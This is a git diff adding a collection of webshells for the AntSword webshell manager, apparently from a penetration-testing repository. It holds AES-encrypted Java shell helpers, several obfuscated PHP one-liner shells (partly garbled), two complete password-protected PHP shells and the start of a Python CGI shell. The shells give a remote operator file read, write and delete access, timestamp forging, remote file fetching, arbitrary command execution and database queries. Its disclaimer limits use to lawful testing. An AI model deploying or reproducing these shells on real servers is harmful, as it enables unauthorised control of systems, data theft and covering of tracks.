+ SecretKeySpec keys = new SecretKeySpec(key.getBytes(), "AES");
+ Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+ cipher.init(Cipher.ENCRYPT_MODE, keys, zeroIv);
+ byte[] encryptedData = cipher.doFinal(cleartext.getBytes("UTF-8"));
+ sun.misc.BASE64Encoder encoder = new sun.misc.BASE64Encoder();
+ String sb = encoder.encode(encryptedData);
+ return sb;
+ }
+
+ String AesDecrypt(String key ,String encrypted) throws Exception {
+ sun.misc.BASE64Decoder decoder = new sun.misc.BASE64Decoder();
+ byte[] byteMi = decoder.decodeBuffer(encrypted);
+ IvParameterSpec zeroIv = new IvParameterSpec(key.getBytes());
+ SecretKeySpec keys = new SecretKeySpec(key.getBytes("UTF-8"), "AES");
+ Cipher cipher = Cipher.getInstance(new String("AES/"+aes_mode+"/"+aes_padding));
+ cipher.init(Cipher.DECRYPT_MODE, keys, zeroIv);
+ byte[] decryptedData = cipher.doFinal(byteMi);
+ return new String(decryptedData, "UTF-8");
+ }
+
+ String getKeyFromCookie(Cookie[] cookies){
+ String key = "";
+ StringBuilder result = new StringBuilder();
+ if( cookies != null ){
+ for (Cookie c : cookies) {
+ if (c.getName().equals(SessionKey)) {
+ key = c.getValue();
+ break;
+ }
+ }
+ }
+ if(key.length() < aes_keylen){
+ for(int i=0;key.length() < aes_keylen;i++){
+ key += aes_key_padding;
+ }
+ }if(key.length() > aes_keylen){
+ key = key.substring(0,aes_keylen);
+ }
+ return key;
+ }
+
+ void CopyInputStream(InputStream is, StringBuffer sb) throws Exception {
+ String l;
+ BufferedReader br = new BufferedReader(new InputStreamReader(is, cs));
+ while ((l = br.readLine()) != null) {
+ sb.append(l + "\r\n");
+ }
+ br.close();
+ }
+ ]]>
+
+
+
+
+
diff --git a/antSword-shells/php1.php b/antSword-shells/php1.php
new file mode 100644
index 00000000..5acaec78
--- /dev/null
+++ b/antSword-shells/php1.php
@@ -0,0 +1,21 @@
+$_wfwefb) {
+
+ $$_asadasd =$_wfwefb;
+ }
+}
+
+$class2 = $class1->newInstance($_asadasd, $$_asadasd);
diff --git a/antSword-shells/php2.php b/antSword-shells/php2.php
new file mode 100644
index 00000000..6fbf1eb1
--- /dev/null
+++ b/antSword-shells/php2.php
@@ -0,0 +1,25 @@
+$_wfwefb) {
+
+ $$_asadasd =$_wfwefb;
+ }
+}
+$class2 = $class1->newInstance($_asadasd, $$_asadasd);
diff --git a/antSword-shells/php3.php b/antSword-shells/php3.php
new file mode 100644
index 00000000..c0d8a4a0
--- /dev/null
+++ b/antSword-shells/php3.php
@@ -0,0 +1,46 @@
+$_value) {
+ $$_key= $_value;
+ }
+}
+
+
+$cat = new Cat();
+$cat->eat($_key, $_value);
diff --git a/antSword-shells/php_assert.php b/antSword-shells/php_assert.php
new file mode 100644
index 00000000..baeaaa4c
--- /dev/null
+++ b/antSword-shells/php_assert.php
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/antSword-shells/php_create_function.php b/antSword-shells/php_create_function.php
new file mode 100644
index 00000000..97664b4f
--- /dev/null
+++ b/antSword-shells/php_create_function.php
@@ -0,0 +1 @@
+
\ No newline at end of file
diff --git a/antSword-shells/php_custom_script_for_mysql_fix.php b/antSword-shells/php_custom_script_for_mysql_fix.php
new file mode 100644
index 00000000..88f0ddbf
--- /dev/null
+++ b/antSword-shells/php_custom_script_for_mysql_fix.php
@@ -0,0 +1,461 @@
+= v2.0.7
+* 2. 创建 Shell 时选择 custom 模式连接
+* 3. 数据库连接:
+* localhost
+* root
+* 123456
+*
+* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
+*
+* ChangeLog:
+* Date: 2020/03/26 v1.4
+* 1. 修复由于decode函数与EC函数位置写反而导致的乱码问题
+* 2. 增加动态修改字符编码接口
+*
+* Date: 2019/05/22 v1.3
+* 1. 支持 mysqli 连接非默认端口
+*
+* Date: 2019/04/05 v1.2
+* 1. 新增 listcmd 接口
+* 2. 新增数据库支持函数检查接口
+*
+* Date: 2016/05/13 v1.1
+* 1. 执行 DML 语句,显示执行状态
+*
+* Date: 2016/04/06 v1.0
+* 1. 文件系统 和 terminal 管理
+* 2. mysql 数据库支持
+* 3. 支持 base64 和 hex 编码
+**/
+
+$pwd = "ant"; //连接密码
+//数据编码 3 选 1
+$encoder = ""; // default
+// $encoder = "base64"; //base64
+// $encoder = "hex"; // hex
+//$cs = "UTF-8";
+$cs=isset($_REQUEST['charset'])?$_REQUEST['charset']:"UTF-8";
+
+/**
+* 字符编码处理
+**/
+function EC($s){
+ global $cs;
+ $sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5'));
+ $ret = "";
+ try {
+ $ret = mb_convert_encoding($s, $cs, $sencode);
+ } catch (Exception $e) {
+ try {
+ $ret = iconv($sencode, $cs, $s);
+ } catch (Exception $e) {
+ $ret = $s;
+ }
+ }
+ return $ret;
+}
+/*传输解码*/
+function decode($s){
+ global $encoder;
+ $ret = "";
+ switch ($encoder) {
+ case 'base64':
+ $ret = base64_decode($s);
+ break;
+ case 'hex':
+ for ($i=0; $i < strlen($s)-1; $i+=2) {
+ $output = substr($s, $i, 2);
+ $decimal = intval($output, 16);
+ $ret .= chr($decimal);
+ }
+ break;
+ default:
+ $ret = $s;
+ break;
+ }
+ return $ret;
+}
+function showDatabases($encode, $conf){
+ $sql = "show databases";
+ $columnsep = "\t";
+ $rowsep = "";
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
+}
+function showTables($encode, $conf, $dbname){
+ $sql = "show tables from ".$dbname; // mysql
+ $columnsep = "\t";
+ $rowsep = "";
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
+}
+
+function showColumns($encode, $conf, $dbname, $table){
+ $columnsep = "\t";
+ $rowsep = "";
+ $sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
+}
+
+function query($encode, $conf, $sql){
+ $columnsep = "\t|\t"; // general
+ $rowsep = "\r\n";
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
+}
+
+function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
+ $ret = "";
+ $m=get_magic_quotes_gpc();
+ if ($m) {
+ $conf = stripslashes($conf);
+ }
+ $conf = (EC($conf));
+
+ /*
+ localhost
+ root
+ root
+ */
+ $host="";
+ $user="";
+ $password="";
+ if (preg_match('/(.+?)<\/H>/i', $conf, $data)) {
+ $host = $data[1];
+ }
+ if (preg_match('/(.+?)<\/U>/i', $conf, $data)) {
+ $user = $data[1];
+ }
+ if (preg_match('/(.+?)<\/P>/i', $conf, $data)) {
+ $password = $data[1];
+ }
+ $encode = decode(EC($encode));
+ $port=split(":",$host)[1];
+ $host=split(":",$host)[0];
+ $conn = @mysqli_connect($host, $user, $password, "", $port);
+ $res = @mysqli_query($conn, $sql);
+ if (is_bool($res)) {
+ return "Status".$columnsep.$rowsep.($res?"True":"False").$columnsep.$rowsep;
+ }
+ $i=0;
+ if ($needcoluname) {
+ while ($col=@mysqli_fetch_field($res)) {
+ $ret .= $col->name.$columnsep;
+ $i++;
+ }
+ $ret .= $rowsep;
+ }
+ while($rs=@mysqli_fetch_row($res)){
+ for($c = 0; $c <= $i; $c++){
+ $ret .= trim($rs[$c]).$columnsep;
+ }
+ $ret.=$rowsep;
+ }
+ return $ret;
+}
+
+function BaseInfo(){
+ $D=dirname($_SERVER["SCRIPT_FILENAME"]);
+ if($D==""){
+ $D=dirname($_SERVER["PATH_TRANSLATED"]);
+ }
+ $R="{$D}\t";
+ if(substr($D,0,1)!="/"){
+ foreach(range("C","Z")as $L)
+ if(is_dir("{$L}:"))
+ $R.="{$L}:";
+ }else{
+ $R.="/";
+ }
+ $R.="\t";
+ $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
+ $s=($u)?$u["name"]:@get_current_user();
+ $R.=php_uname();
+ $R.="\t{$s}";
+ return $R;
+}
+function FileTreeCode($D){
+ $ret = "";
+ $F=@opendir($D);
+ if($F==NULL){
+ $ret = "ERROR:// Path Not Found Or No Permission!";
+ }else{
+ $M=NULL;
+ $L=NULL;
+ while($N=@readdir($F)){
+ $P=$D."/".$N;
+ $T=@date("Y-m-d H:i:s",@filemtime($P));
+ @$E=substr(base_convert(@fileperms($P),10,8),-4);
+ $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
+ if(@is_dir($P))
+ $M.=$N."/".$R;
+ else
+ $L.=$N.$R;
+ }
+ $ret .= $M.$L;
+ @closedir($F);
+ }
+ return $ret;
+}
+
+function ReadFileCode($F){
+ $ret = "";
+ try {
+ $P = @fopen($F,"r");
+ $ret = (@fread($P,filesize($F)));
+ @fclose($P);
+ } catch (Exception $e) {
+ $ret = "ERROR://".$e;
+ }
+ return $ret;
+}
+function WriteFileCode($path, $content){
+ return @fwrite(fopen(($path),"w"),($content))?"1":"0";
+}
+function DeleteFileOrDirCode($fileOrDirPath){
+ function df($p){
+ $m=@dir($p);
+ while(@$f=$m->read()){
+ $pf=$p."/".$f;
+ if((is_dir($pf))&&($f!=".")&&($f!="..")){
+ @chmod($pf,0777);
+ df($pf);
+ }
+ if(is_file($pf)){
+ @chmod($pf,0777);
+ @unlink($pf);
+ }
+ }
+ $m->close();
+ @chmod($p,0777);
+ return @rmdir($p);
+ }
+ $F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
+ if(is_dir($F)){
+ return (df($F));
+ }
+ else{
+ return (file_exists($F)?@unlink($F)?"1":"0":"0");
+ }
+}
+
+function DownloadFileCode($filePath){
+ $F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
+ $fp=@fopen($F,"r");
+ if(@fgetc($fp)){
+ @fclose($fp);
+ @readfile($F);
+ }else{
+ echo("ERROR:// Can Not Read");
+ }
+}
+function UploadFileCode($path, $content){
+ $f=$path;
+ $c=$content;
+ $c=str_replace("\r","",$c);
+ $c=str_replace("\n","",$c);
+ $buf="";
+ for($i=0;$iread()){
+ $isrc=$src.chr(47).$f;
+ $idest=$dest.chr(47).$f;
+ if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
+ if(!xcopy($isrc,$idest))return false;
+ }else if(is_file($isrc)){
+ if(!copy($isrc,$idest))
+ return false;
+ }
+ }
+ return true;
+ }
+ return (xcopy($fc,$fp)?"1":"0");
+}
+
+function RenameFileOrDirCode($oldName, $newName){
+ $m=get_magic_quotes_gpc();
+ $src=(m?stripslashes($oldName):$oldName);
+ $dst=(m?stripslashes($newName):$newName);
+ return (rename($src,$dst)?"1":"0");
+}
+function CreateDirCode($name){
+ $m=get_magic_quotes_gpc();
+ $f=($m?stripslashes($name):$name);
+ return (mkdir($f)?"1":"0");
+}
+function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){
+ $m=get_magic_quotes_gpc();
+ $FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
+ $TM=strtotime((m?stripslashes($newTime):$newTime));
+ if(file_exists($FN)){
+ return (@touch($FN,$TM,$TM)?"1":"0");
+ }else{
+ return ("0");
+ }
+}
+
+function WgetCode($urlPath, $savePath){
+ $fR=$urlPath;
+ $fL=$savePath;
+ $F=@fopen($fR,chr(114));
+ $L=@fopen($fL,chr(119));
+ if($F && $L){
+ while(!feof($F))
+ @fwrite($L,@fgetc($F));
+ @fclose($F);
+ @fclose($L);
+ return "1";
+ }else{
+ return "0";
+ }
+}
+
+function ExecuteCommandCode($cmdPath, $command){
+ $p=$cmdPath;
+ $s=$command;
+ $d=dirname($_SERVER["SCRIPT_FILENAME"]);
+ $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
+ $r="{$p} {$c}";
+ @system($r." 2>&1",$ret);
+ return ($ret!=0)?"ret={$ret}":"";
+}
+
+function probedb(){
+ $ret="";
+ $m=array(
+ 'mysql_close','mysqli_close','mssql_close','sqlsrv_close','ora_close','oci_close',
+ 'ifx_close','sqlite_close','pg_close','dba_close','dbmclose','filepro_fieldcount',
+ 'sybase_close'
+ );
+ foreach ($m as $f) {
+ $ret.=($f."\t".(function_exists($f)?'1':'0')."\n");
+ }
+ if(function_exists('pdo_drivers')){
+ foreach(@pdo_drivers() as $f){
+ $ret.=("pdo_".$f."\t1\n");
+ }
+ }
+ return $ret;
+}
+
+function listcmd($binarr){
+ $ret="";
+ $arr=@explode(",", $binarr);
+ foreach($arr as $v){
+ $ret.=($v."\t".(@file_exists($v)?"1":"0")."\n");
+ }
+ return $ret;
+}
+
+@ini_set("display_errors", "0");
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+
+$funccode = EC($_REQUEST[$pwd]);
+$z0 = EC(decode($_REQUEST['z0']));
+$z1 = EC(decode($_REQUEST['z1']));
+$z2 = EC(decode($_REQUEST['z2']));
+$z3 = EC(decode($_REQUEST['z3']));
+
+// echo "";
+echo "->"."|";
+$ret = "";
+try {
+ switch ($funccode) {
+ case 'A':
+ $ret = BaseInfo();
+ break;
+ case 'B':
+ $ret = FileTreeCode($z1);
+ break;
+ case 'C':
+ $ret = ReadFileCode($z1);
+ break;
+ case 'D':
+ $ret = WriteFileCode($z1, $z2);
+ break;
+ case 'E':
+ $ret = DeleteFileOrDirCode($z1);
+ break;
+ case 'F':
+ DownloadFileCode($z1);
+ break;
+ case 'U':
+ $ret = UploadFileCode($z1, $z2);
+ break;
+ case 'H':
+ $ret = CopyFileOrDirCode($z1, $z2);
+ break;
+ case 'I':
+ $ret = RenameFileOrDirCode($z1, $z2);
+ break;
+ case 'J':
+ $ret = CreateDirCode($z1);
+ break;
+ case 'K':
+ $ret = ModifyFileOrDirTimeCode($z1, $z2);
+ break;
+ case 'L':
+ $ret = WgetCode($z1, $z2);
+ break;
+ case 'M':
+ $ret = ExecuteCommandCode($z1, $z2);
+ break;
+ case 'N':
+ $ret = showDatabases($z0, $z1);
+ break;
+ case 'O':
+ $ret = showTables($z0, $z1, $z2);
+ break;
+ case 'P':
+ $ret = showColumns($z0, $z1, $z2, $z3);
+ break;
+ case 'Q':
+ $ret = query($z0, $z1, $z2);
+ break;
+ case 'Y':
+ $ret = listcmd($z1);
+ break;
+ case 'Z':
+ $ret = probedb();
+ break;
+ default:
+ // $ret = "Wrong Password";
+ break;
+ }
+} catch (Exception $e) {
+ $ret = "ERROR://".$e;
+}
+echo $ret;
+echo "|"."<-";
+?>
diff --git a/antSword-shells/php_custom_spy_for_mysql.php b/antSword-shells/php_custom_spy_for_mysql.php
new file mode 100644
index 00000000..c2828648
--- /dev/null
+++ b/antSword-shells/php_custom_spy_for_mysql.php
@@ -0,0 +1,406 @@
+= v1.1-dev
+* 2. 创建 Shell 时选择 custom 模式连接
+* 3. 数据库连接:
+* localhost
+* root
+* 123456
+*
+* 4. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
+*
+* ChangeLog:
+*
+* Date: 2016/04/06 v1.0
+* 1. 文件系统 和 terminal 管理
+* 2. mysql 数据库支持
+* 3. 支持 base64 和 hex 编码
+**/
+
+$pwd = "ant"; //连接密码
+//数据编码 3 选 1
+$encoder = ""; // default
+// $encoder = "base64"; //base64
+// $encoder = "hex"; // hex
+$cs = "UTF-8";
+
+/**
+* 字符编码处理
+**/
+function EC($s){
+ global $cs;
+ $sencode = mb_detect_encoding($s, array("ASCII","UTF-8","GB2312","GBK",'BIG5'));
+ $ret = "";
+ try {
+ $ret = mb_convert_encoding($s, $cs, $sencode);
+ } catch (Exception $e) {
+ try {
+ $ret = iconv($sencode, $cs, $s);
+ } catch (Exception $e) {
+ $ret = $s;
+ }
+ }
+ return $ret;
+}
+/*传输解码*/
+function decode($s){
+ global $encoder;
+ $ret = "";
+ switch ($encoder) {
+ case 'base64':
+ $ret = base64_decode($s);
+ break;
+ case 'hex':
+ for ($i=0; $i < strlen($s)-1; $i+=2) {
+ $output = substr($s, $i, 2);
+ $decimal = intval($output, 16);
+ $ret .= chr($decimal);
+ }
+ break;
+ default:
+ $ret = $s;
+ break;
+ }
+ return $ret;
+}
+function showDatabases($encode, $conf){
+ $sql = "show databases";
+ $columnsep = "\t";
+ $rowsep = "";
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
+}
+function showTables($encode, $conf, $dbname){
+ $sql = "show tables from ".$dbname; // mysql
+ $columnsep = "\t";
+ $rowsep = "";
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, false);
+}
+
+function showColumns($encode, $conf, $dbname, $table){
+ $columnsep = "\t";
+ $rowsep = "";
+ $sql = "select * from ".$dbname.".".$table." limit 0,0"; // mysql
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
+}
+
+function query($encode, $conf, $sql){
+ $columnsep = "\t|\t"; // general
+ $rowsep = "\r\n";
+ return executeSQL($encode, $conf, $sql, $columnsep, $rowsep, true);
+}
+
+function executeSQL($encode, $conf, $sql, $columnsep, $rowsep, $needcoluname){
+ $ret = "";
+ $m=get_magic_quotes_gpc();
+ if ($m) {
+ $conf = stripslashes($conf);
+ }
+ $conf = (EC($conf));
+
+ /*
+ localhost
+ root
+ root
+ */
+ $host="";
+ $user="";
+ $password="";
+ if (preg_match('/(.+?)<\/H>/i', $conf, $data)) {
+ $host = $data[1];
+ }
+ if (preg_match('/(.+?)<\/U>/i', $conf, $data)) {
+ $user = $data[1];
+ }
+ if (preg_match('/(.+?)<\/P>/i', $conf, $data)) {
+ $password = $data[1];
+ }
+ $encode = decode(EC($encode));
+ $conn = @mysqli_connect($host, $user, $password);
+ $res = @mysqli_query($conn, $sql);
+ $i=0;
+ if ($needcoluname) {
+ while ($col=@mysqli_fetch_field($res)) {
+ $ret .= $col->name.$columnsep;
+ $i++;
+ }
+ $ret .= $rowsep;
+ }
+ while($rs=@mysqli_fetch_row($res)){
+ for($c = 0; $c <= $i; $c++){
+ $ret .= trim($rs[$c]).$columnsep;
+ }
+ $ret.=$rowsep;
+ }
+ return $ret;
+}
+
+function BaseInfo(){
+ $D=dirname($_SERVER["SCRIPT_FILENAME"]);
+ if($D==""){
+ $D=dirname($_SERVER["PATH_TRANSLATED"]);
+ }
+ $R="{$D}\t";
+ if(substr($D,0,1)!="/"){
+ foreach(range("A","Z")as $L)
+ if(is_dir("{$L}:"))
+ $R.="{$L}:";
+ }else{
+ $R.="/";
+ }
+ $R.="\t";
+ $u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
+ $s=($u)?$u["name"]:@get_current_user();
+ $R.=php_uname();
+ $R.="\t{$s}";
+ return $R;
+}
+function FileTreeCode($D){
+ $ret = "";
+ $F=@opendir($D);
+ if($F==NULL){
+ $ret = "ERROR:// Path Not Found Or No Permission!";
+ }else{
+ $M=NULL;
+ $L=NULL;
+ while($N=@readdir($F)){
+ $P=$D."/".$N;
+ $T=@date("Y-m-d H:i:s",@filemtime($P));
+ @$E=substr(base_convert(@fileperms($P),10,8),-4);
+ $R="\t".$T."\t".@filesize($P)."\t".$E."\n";
+ if(@is_dir($P))
+ $M.=$N."/".$R;
+ else
+ $L.=$N.$R;
+ }
+ $ret .= $M.$L;
+ @closedir($F);
+ }
+ return $ret;
+}
+
+function ReadFileCode($F){
+ $ret = "";
+ try {
+ $P = @fopen($F,"r");
+ $ret = (@fread($P,filesize($F)));
+ @fclose($P);
+ } catch (Exception $e) {
+ $ret = "ERROR://".$e;
+ }
+ return $ret;
+}
+function WriteFileCode($path, $content){
+ return @fwrite(fopen(($path),"w"),($content))?"1":"0";
+}
+function DeleteFileOrDirCode($fileOrDirPath){
+ function df($p){
+ $m=@dir($p);
+ while(@$f=$m->read()){
+ $pf=$p."/".$f;
+ if((is_dir($pf))&&($f!=".")&&($f!="..")){
+ @chmod($pf,0777);
+ df($pf);
+ }
+ if(is_file($pf)){
+ @chmod($pf,0777);
+ @unlink($pf);
+ }
+ }
+ $m->close();
+ @chmod($p,0777);
+ return @rmdir($p);
+ }
+ $F=(get_magic_quotes_gpc()?stripslashes($fileOrDirPath):$fileOrDirPath);
+ if(is_dir($F)){
+ return (df($F));
+ }
+ else{
+ return (file_exists($F)?@unlink($F)?"1":"0":"0");
+ }
+}
+
+function DownloadFileCode($filePath){
+ $F=(get_magic_quotes_gpc()?stripslashes($filePath):$filePath);
+ $fp=@fopen($F,"r");
+ if(@fgetc($fp)){
+ @fclose($fp);
+ @readfile($F);
+ }else{
+ echo("ERROR:// Can Not Read");
+ }
+}
+function UploadFileCode($path, $content){
+ $f=$path;
+ $c=$content;
+ $c=str_replace("\r","",$c);
+ $c=str_replace("\n","",$c);
+ $buf="";
+ for($i=0;$iread()){
+ $isrc=$src.chr(47).$f;
+ $idest=$dest.chr(47).$f;
+ if((is_dir($isrc))&&($f!=chr(46))&&($f!=chr(46).chr(46))){
+ if(!xcopy($isrc,$idest))return false;
+ }else if(is_file($isrc)){
+ if(!copy($isrc,$idest))
+ return false;
+ }
+ }
+ return true;
+ }
+ return (xcopy($fc,$fp)?"1":"0");
+}
+
+function RenameFileOrDirCode($oldName, $newName){
+ $m=get_magic_quotes_gpc();
+ $src=(m?stripslashes($oldName):$oldName);
+ $dst=(m?stripslashes($newName):$newName);
+ return (rename($src,$dst)?"1":"0");
+}
+function CreateDirCode($name){
+ $m=get_magic_quotes_gpc();
+ $f=($m?stripslashes($name):$name);
+ return (mkdir($f)?"1":"0");
+}
+function ModifyFileOrDirTimeCode($fileOrDirPath, $newTime){
+ $m=get_magic_quotes_gpc();
+ $FN=(m?stripslashes($fileOrDirPath):$fileOrDirPath);
+ $TM=strtotime((m?stripslashes($newTime):$newTime));
+ if(file_exists($FN)){
+ return (@touch($FN,$TM,$TM)?"1":"0");
+ }else{
+ return ("0");
+ }
+}
+
+function WgetCode($urlPath, $savePath){
+ $fR=$urlPath;
+ $fL=$savePath;
+ $F=@fopen($fR,chr(114));
+ $L=@fopen($fL,chr(119));
+ if($F && $L){
+ while(!feof($F))
+ @fwrite($L,@fgetc($F));
+ @fclose($F);
+ @fclose($L);
+ return "1";
+ }else{
+ return "0";
+ }
+}
+
+function ExecuteCommandCode($cmdPath, $command){
+ $p=$cmdPath;
+ $s=$command;
+ $d=dirname($_SERVER["SCRIPT_FILENAME"]);
+ $c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
+ $r="{$p} {$c}";
+ @system($r." 2>&1",$ret);
+ return ($ret!=0)?"ret={$ret}":"";
+}
+
+@ini_set("display_errors", "0");
+@set_time_limit(0);
+@set_magic_quotes_runtime(0);
+
+$funccode = EC($_REQUEST[$pwd]);
+$z0 = decode(EC($_REQUEST['z0']));
+$z1 = decode(EC($_REQUEST['z1']));
+$z2 = decode(EC($_REQUEST['z2']));
+$z3 = decode(EC($_REQUEST['z3']));
+
+// echo "";
+echo "->|";
+$ret = "";
+try {
+ switch ($funccode) {
+ case 'A':
+ $ret = BaseInfo();
+ break;
+ case 'B':
+ $ret = FileTreeCode($z1);
+ break;
+ case 'C':
+ $ret = ReadFileCode($z1);
+ break;
+ case 'D':
+ $ret = WriteFileCode($z1, $z2);
+ break;
+ case 'E':
+ $ret = DeleteFileOrDirCode($z1);
+ break;
+ case 'F':
+ DownloadFileCode($z1);
+ break;
+ case 'U':
+ $ret = UploadFileCode($z1, $z2);
+ break;
+ case 'H':
+ $ret = CopyFileOrDirCode($z1, $z2);
+ break;
+ case 'I':
+ $ret = RenameFileOrDirCode($z1, $z2);
+ break;
+ case 'J':
+ $ret = CreateDirCode($z1);
+ break;
+ case 'K':
+ $ret = ModifyFileOrDirTimeCode($z1, $z2);
+ break;
+ case 'L':
+ $ret = WgetCode($z1, $z2);
+ break;
+ case 'M':
+ $ret = ExecuteCommandCode($z1, $z2);
+ break;
+ case 'N':
+ $ret = showDatabases($z0, $z1);
+ break;
+ case 'O':
+ $ret = showTables($z0, $z1, $z2);
+ break;
+ case 'P':
+ $ret = showColumns($z0, $z1, $z2, $z3);
+ break;
+ case 'Q':
+ $ret = query($z0, $z1, $z2);
+ break;
+ default:
+ // $ret = "Wrong Password";
+ break;
+ }
+} catch (Exception $e) {
+ $ret = "ERROR://".$e;
+}
+echo $ret;
+echo "|<-";
+?>
\ No newline at end of file
diff --git a/antSword-shells/python2_custom_script.py b/antSword-shells/python2_custom_script.py
new file mode 100644
index 00000000..c6688356
--- /dev/null
+++ b/antSword-shells/python2_custom_script.py
@@ -0,0 +1,349 @@
+#!/usr/bin/env python
+# coding:utf-8
+from __future__ import print_function
+import os
+import cgi
+import time
+import stat
+import getpass
+import base64
+import binascii
+import shutil
+import urllib
+import platform
+import cgitb
+import sys
+cgitb.enable()
+reload(sys)
+sys.setdefaultencoding('utf-8')
+VERSION = "0.0.2"
+u'''
+ _ ____ _
+ __ _ _ __ | |_/ ___|_ _____ _ __ __| |
+ / _` | '_ \| __\___ \ \ /\ / / _ \| '__/ _` |
+ | (_| | | | | |_ ___) \ V V / (_) | | | (_| |
+ \__,_|_| |_|\__|____/ \_/\_/ \___/|_| \__,_|
+—————————————————————————————————————————————————
+ AntSword Python2 CGI Custom Script No DataBase
+
+ 警告:
+ 此脚本仅供合法的渗透测试以及爱好者参考学习
+ 请勿用于非法用途,否则将追究其相关责任!
+—————————————————————————————————————————————————
+ 使用说明:
+ 1. AntSword >= v1.1-dev, Python == 2.x
+ 2. 创建 Shell 时选择 custom 模式连接
+ 3. 本脚本中 encoder 与 AntSword 添加 Shell 时选择的 encoder 要一致,如果选择 default 则需要将 encoder 值设置为空
+ 4. 本脚本不含数据库管理操作
+ 使用方法:
+ 1. 修改 PWD, ENCODER, ENCODE
+ 2. 复制本脚本到 cgi-bin 目录下(根据中间件配置来定)
+ 3. 赋予可执行权限 chmod +x xxx.py
+ CHANGELOG:
+ Date 2018/12/30 v0.0.2
+ 1. 修复 windows 下命令执行参数问题
+ 2. 解决 windows 下文件名中文编码问题 (win10以下系统建议使用 gb2312 gbk 编码)
+ 3. 修复 windows 下获取当前用户获取不到时致命错误
+ Date 2018/12/29 v0.0.1
+ 1. 文件系统 和 terminal 管理
+ 2. 支持 hex 和 base64 编码器
+ 3. 脚本内统一使用 unicode 编码来处理
+'''
+
+
+PWD = "ant" # 连接密码
+ENCODER = "" # 编码器, 3选1
+# ENCODER = "hex" # 推荐使用此编码器
+# ENCODER = "base64"
+ENCODE = "utf-8" # 字符编码
+OUT_PREFIX = "->" + "|" # 数据分割前缀符
+OUT_SUFFIX = "|" + "<-" # 数据分割后缀符
+
+
+def Decoder(enstr):
+ u'''解码方法,解AntSword 编码器编码后的数据
+@param enstr string 已经经过编码器编码的数据
+@return ret string 解码后的数据
+'''
+ if(ENCODER == "base64"):
+ return base64.b64decode(enstr)
+ elif (ENCODER == "hex"):
+ return binascii.a2b_hex(enstr)
+ else:
+ return enstr
+
+def TimeStampToTime(timestamp):
+ timeStruct = time.localtime(timestamp)
+ return time.strftime(u'%Y-%m-%d %H:%M:%S',timeStruct)
+
+def BaseInfo():
+ u'''获取系统基础信息
+@return ret string Shell或网站根目录\t盘符\tuname信息\t当前用户
+'''
+ ret = ""
+ d = os.path.dirname(os.environ.get('SCRIPT_FILENAME', ''))
+ if(d == ""):
+ d = os.getcwd()
+ ret = "%s\t" % d
+ if(d.startswith('/')):
+ ret += "/"
+ else:
+ for L in range(ord('C'), ord('Z') + 1):
+ if(os.path.isdir("%s:" % chr(L))):
+ ret += "%s:" % chr(L)
+ ret += "\t"
+ ret += "%s\t" % ' '.join(platform.uname())
+ if platform.system().lower() == 'windows':
+ u = "Unknow" # windows 下没 pwd 使用 getpass.getuser 会出错
+ for name in ('LOGNAME','USER','LNAME','USERNAME'):
+ user = os.environ.get(name)
+ if user:
+ u = user
+ break
+ ret += u
+ else:
+ ret += getpass.getuser()
+ return ret
+
+
+def FileTreeCode(d):
+ u'''获取指定目录下的文件和目录信息
+@param d string 文件路径
+@return ret string 文件名\t创建时间\t文件大小\t文件权限(RWX 或 8进制)
+'''
+ ret = u""
+ # 如果文件名/目录是中文,则需要 encode 成系统的编码后再去处理
+ if(os.path.exists(d.encode(ENCODE))):
+ for fname in os.listdir(d.encode(ENCODE)):
+ fname = fname.decode(ENCODE)
+ p = os.path.join(d, fname)
+ try:
+ fst = os.stat(p.encode(ENCODE))
+ name = fname
+ if stat.S_ISDIR(fst.st_mode):
+ name += "/"
+ ret += u"{}\t{}\t{}\t{}\n".format(name, TimeStampToTime(fst.st_mtime), fst.st_size, oct(fst.st_mode)[-4:])
+ except:
+ ret += u"{}\t{}\t{}\t{}\n".format(fname, TimeStampToTime(0), 0, 0)
+ else:
+ ret = "ERROR:// Path Not Found or No Permission!"
+ return ret.encode(ENCODE)
+
+def ReadFileCode(fpath):
+ u'''获取指定路径文件内容
+@param fpath string 文件路径
+@return ret string 成功返回文件内容,失败抛出异常
+'''
+ with open(fpath.encode(ENCODE), 'r') as fp:
+ return fp.read()
+
+def WriteFileCode(path, content):
+ u'''向指定文件路径下写入content的内容
+@param path string 文件路径
+@param content string 文件内容(整个文件内容)
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+ with open(path.encode(ENCODE), "w") as fp:
+ fp.write(content.encode(ENCODE))
+ return "1"
+
+def DeleteFileOrDirCode(path):
+ u'''删除指定路径下的文件或目录
+@param path string 文件或目录路径
+@return ret string 成功返回 1 失败返回 0 或抛出异常
+'''
+ if os.path.isdir(path.encode(ENCODE)):
+ shutil.rmtree(path.encode(ENCODE))
+ else:
+ os.remove(path.encode(ENCODE))
+ return "1"
+
+def DownloadFileCode(path):
+ u'''下载指定路径的文件
+@param path string 文件路径
